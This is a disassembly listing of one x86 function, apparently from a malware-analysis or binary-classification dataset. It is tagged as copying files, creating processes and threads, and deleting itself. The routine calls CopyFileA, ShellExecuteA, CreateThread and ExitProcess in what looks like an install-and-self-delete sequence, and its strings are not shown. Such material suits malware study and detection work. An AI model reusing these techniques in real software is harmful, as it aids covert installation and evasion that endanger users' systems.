Function at 0x1317b098
Capabilities:
Copy file
Create process on windows
Create thread
Self delete

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x45
push 0
push 0
dec ecx
jne 0x1317b0a0
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x1317b51b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x13178f98]
call fcn.131442e4
mov esi, eax
mov dl, 1
mov eax, dword [0x1317b734]
call fcn.131442e4
mov edi, eax
cmp byte [ebx + 4], 1
jne 0x1317b39c
mov eax, dword [ebx + 0x20]
mov edx, 0x1317b534
call fcn.13145568
jne 0x1317b10a
lea edx, [ebp - 0x1d8]
mov eax, ebx
call fcn.1317a868
mov edx, dword [ebp - 0x1d8]
lea eax, [ebx + 0x20]
call fcn.13145194
mov eax, dword [ebx + 0x20]
mov edx, 0x1317b550
call fcn.13145568
jne 0x1317b134
lea edx, [ebp - 0x1dc]
mov eax, ebx
call fcn.1317a800
mov edx, dword [ebp - 0x1dc]
lea eax, [ebx + 0x20]
call fcn.13145194
mov eax, dword [ebx + 0x20]
mov edx, 0x1317b560
call fcn.13145568
jne 0x1317b15e
lea edx, [ebp - 0x1e0]
mov eax, ebx
call fcn.1317a730
mov edx, dword [ebp - 0x1e0]
lea eax, [ebx + 0x20]
call fcn.13145194
mov eax, dword [ebx + 0x20]
mov edx, 0x1317b574
call fcn.13145568
jne 0x1317b188
lea edx, [ebp - 0x1e4]
mov eax, ebx
call fcn.1317a798
mov edx, dword [ebp - 0x1e4]
lea eax, [ebx + 0x20]
call fcn.13145194
lea edx, [ebp - 0x1e8]
mov eax, edi
call fcn.1317bba4
mov eax, dword [ebp - 0x1e8]
mov edx, 0x1317b584
call fcn.13145568
je 0x1317b1c6
lea edx, [ebp - 0x1ec]
mov eax, edi
call fcn.1317bba4
mov eax, dword [ebp - 0x1ec]
mov edx, 0x1317b59c
call fcn.13145568
jne 0x1317b1e1
lea edx, [ebp - 0x1f0]
mov eax, ebx
call fcn.1317a868
mov edx, dword [ebp - 0x1f0]
lea eax, [ebx + 0x20]
call fcn.13145194
lea edx, [ebp - 0x1f8]
mov eax, ebx
call fcn.1317a728
lea eax, [ebp - 0x1f8]
mov edx, 0x1317b5b0
call fcn.1314540c
mov eax, dword [ebp - 0x1f8]
lea edx, [ebp - 0x1f4]
call fcn.1317bf48
mov eax, dword [ebp - 0x1f4]
push eax
lea edx, [ebp - 0x1fc]
mov eax, dword [ebx + 0x20]
call fcn.1317bf48
mov edx, dword [ebp - 0x1fc]
pop eax
call fcn.13145568
je 0x1317b39c
push 0
lea eax, [ebp - 0x200]
mov ecx, dword [ebx + 0x14]
mov edx, dword [ebx + 0x20]
call fcn.13145458
mov eax, dword [ebp - 0x200]
call fcn.131455d0
push eax
lea edx, [ebp - 0x204]
xor eax, eax
call fcn.131432c8
mov eax, dword [ebp - 0x204]
call fcn.131455d0
push eax
call sub.kernel32.dll_CopyFileA
push 0x64
call sub.kernel32.dll_Sleep_2
push 0
mov eax, dword [ebx + 0x20]
call fcn.131455d0
push eax
push 0x1317b5b4
mov eax, dword [ebx + 0x14]
call fcn.131455d0
push eax
push 0x1317b5b8
push 0
call sub.shell32.dll_ShellExecuteA
cmp byte [ebx + 9], 0
je 0x1317b395
lea eax, [ebp - 0x208]
mov ecx, 0x1317b5c8
mov edx, dword [ebx + 0x20]
call fcn.13145458
mov eax, dword [ebp - 0x208]
call fcn.131455d0
mov edx, eax
lea eax, [ebp - 0x1d4]
call fcn.1314369c
lea eax, [ebp - 0x1d4]
call fcn.13143438
call fcn.13142fb4
push 0x1317b5dc
lea edx, [ebp - 0x210]
xor eax, eax
call fcn.131432c8
push dword [ebp - 0x210]
push 0x1317b5ec
lea eax, [ebp - 0x20c]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x20c]
lea eax, [ebp - 0x1d4]
call fcn.13145868
call fcn.13143d84
call fcn.13142fb4
push 0x1317b5dc
push dword [ebx + 0x20]
push 0x1317b5f8
lea eax, [ebp - 0x214]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x214]
lea eax, [ebp - 0x1d4]
call fcn.13145868
call fcn.13143d84
call fcn.13142fb4
lea eax, [ebp - 0x1d4]
call fcn.13143844
call fcn.13142fb4
push 0
mov eax, dword [ebx + 0x20]
call fcn.131455d0
push eax
push 0x1317b5b4
push 0x1317b604
push 0x1317b5b8
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.kernel32.dll_ExitProcess_1
cmp byte [ebx + 0xa], 1
jne 0x1317b3a9
mov eax, ebx
call fcn.1317ac44
cmp byte [ebx + 5], 1
jne 0x1317b477
cmp byte [ebx + 7], 1
jne 0x1317b437
push 0x1317b618
xor ecx, ecx
mov edx, 0x1317b628
mov eax, esi
call fcn.13179b10
push 0x1317b618
lea eax, [ebp - 0x218]
mov ecx, dword [ebx + 0x1c]
mov edx, 0x1317b628
call fcn.13145458
mov edx, dword [ebp - 0x218]
xor ecx, ecx
mov eax, esi
call fcn.13179b10
push 0x1317b67c
lea edx, [ebp - 0x21c]
xor eax, eax
call fcn.131432c8
mov eax, dword [ebp - 0x21c]
push eax
push 0x1317b628
push dword [ebx + 0x1c]
push 0x1317b68c
lea eax, [ebp - 0x220]
mov edx, 3
call fcn.131454d4
mov edx, dword [ebp - 0x220]
mov eax, esi
pop ecx
call fcn.13179b10
cmp byte [ebx + 6], 1
jne 0x1317b477
push 0x1317b67c
lea edx, [ebp - 0x224]
xor eax, eax
call fcn.131432c8
mov eax, dword [ebp - 0x224]
push eax
lea eax, [ebp - 0x228]
mov ecx, dword [ebx + 0x18]
mov edx, 0x1317b6a0
call fcn.13145458
mov edx, dword [ebp - 0x228]
mov eax, esi
pop ecx
call fcn.13179b10
cmp byte [ebx + 0xb], 1
jne 0x1317b493
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x1317a6c0
push 0
push 0
call sub.kernel32.dll_CreateThread
cmp byte [ebx + 0xc], 1
jne 0x1317b4ef
push 0x3e8
call sub.kernel32.dll_Sleep_2
mov eax, ebx
call fcn.1317a350
movzx eax, byte [ebx + 7]
mov byte [0x1318bb3d], al
movzx eax, byte [ebx + 6]
mov byte [0x1318bb3c], al
mov eax, 0x1318bb38
mov edx, dword [ebx + 0x1c]
call fcn.13145194
mov eax, 0x1318bb34
mov edx, dword [ebx + 0x18]
call fcn.13145194
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x1317a044
push 0
push 0
call sub.kernel32.dll_CreateThread
mov dword [ebx + 0x28], eax
mov eax, edi
call fcn.13144314
mov eax, esi
call fcn.13144314
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1317b522
lea eax, [ebp - 0x228]
mov edx, 0x15
call fcn.13145164
ret